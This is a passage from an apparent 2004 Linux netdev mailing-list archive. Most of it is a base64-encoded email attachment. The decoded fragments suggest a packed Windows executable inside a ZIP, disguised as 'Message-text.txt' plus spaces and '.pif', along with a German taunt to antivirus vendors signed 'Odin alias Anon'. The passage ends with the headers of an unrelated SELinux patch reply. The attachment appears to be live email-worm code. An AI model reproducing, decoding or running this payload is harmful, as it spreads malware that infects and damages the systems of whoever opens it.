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 81CDxwj/lnyCAgCVigdHCMB03In5eQcPtwdHUEe5V0jyrlX/loCCAgAJwHQHiQODwwTr2P+WhIIC AGHpG6r9/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABHRb0AaAAAAAAABABAAAAAYAACA AAAAABHRb0AaAAAAAAABAAEAAAAwAACAAAAAABHRb0AaAAAAAAABAAcEAABIAAAAXJACAOQBAACw BAAAAAAAAFhgAgDkATQAAAAAUEsDBAoAAAAAAACwgzCfBvU+AKYAAACmAAAfAAAAUG1lc3NhZ2Ut dGV4dC50eHQgICAgICAgICAgLnBpZlBLAQIUAAoAAAAAAACwgzCfBvU+AKYAAACmAAAfAAAAAAAA AAAAIAD/gQAAAABQbWVzc2FnZS10ZXh0LnR4dCAgICAgICAgICAucGlmUEsFBgAAAAABAAEATQAA AD2mAAAAAABNiZ6Kj5SNSE2boZucjZWElJuJm5tITYuRkJebnEhNl5SNkI2UmEhMkJqUoZiWW11I m5edloyViZZIi5eWjo+UjJpIjJGajYucSE2boZucmolITJeMiotZXkhMlZuSjIqLWVlITJWbm5GP lltYSJ+Rlo2gjUiNoJiUl5qNjEiMkZqNi5ybSJWYnIuUl4mTm0iRWZqdXVyWXEiRWVmaXVyWXEia jYmUnZiMW1pImI2WkZtIn5GWm5CNlJSKSE2JnpiPnYmajEhNjpeXjJGWj0iJnUifl5qVSJWbj5ua nltaSJyNjZORjJtIlZuKlImbnEhNnImbk5uEm56LkJebnEhNlYmSiUhNiZ6PnYmajEhNm42anpGL jZtIn5GWm6GbSJGanZZcSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlJICAHyS AgAAAAAAAAAAAAAAAAChkgIAjJICAAAAAAAAAAAAAAAAAAAAAAAAAAAArpICALySAgDMkgIAAAAA AEUCAIAAAAAAS0VSTkVMMzIuRExMAE1TVkJWTTYwLkRMTAAAAExvYWRMaWJyYXJ5QQAAR2V0UHJv Y0FkZHJlc3MAAEV4aXRQcm9jZXNzAAAAAAAAAE2Onpial5yNi5xITZqNj1taSE2YiZaMiYmejZaP kZaNSJuei5CXm5ybWVlITZ+RlpuXi5NIkZiVl5ZITZyRlY2aSI+Rj4mKkZxIn5GWnImbk0hMkY2U l4mMSEuRjZSXiYxIkImUlJefjZScSIyakZ6NmpuEm56LkJebnEiVjYyRiVtaSI2gmJSXmo1ITZuh m5WXlqCYSJuhm5GWjpdIn5GWiZGRSJuXnZaMi5eWjgAAQEFsbCBBVjogRGllIE5UUCwgVXBkYXRl LC4uLiBGdW5rdGlvbmVuLCB3YXJlbiBiZXJlaXRzIGFiIFZlcnNpb24uQSB2b3JoYW5kZW4gISBJ bSBkaWVzZW4gU2lubmU6T2RpbiBhbGlhcyBBbm9uAA== --=ebecaedbadbabbadabac-- From jmorris@redhat.com Fri May 7 12:53:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 07 May 2004 12:53:54 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i47JrgKO000693 for ; Fri, 7 May 2004 12:53:44 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i47JrX0m029224; Fri, 7 May 2004 15:53:33 -0400 Received: from mail.boston.redhat.com (mail.boston.redhat.com [172.16.64.12]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i47JrVv00477; Fri, 7 May 2004 15:53:31 -0400 Received: from thoron.boston.redhat.com (thoron.boston.redhat.com [172.16.65.238]) by mail.boston.redhat.com (8.12.8/8.12.8) with ESMTP id i47JrUex010244; Fri, 7 May 2004 15:53:30 -0400 Date: Fri, 7 May 2004 15:53:30 -0400 (EDT) From: James Morris X-X-Sender: jmorris@thoron.boston.redhat.com To: Christoph Hellwig , "David S. Miller" cc: Stephen Smalley , Chris Wright , , , Subject: Re: [PATCH][SELINUX] 2/2 sock_create_lite() 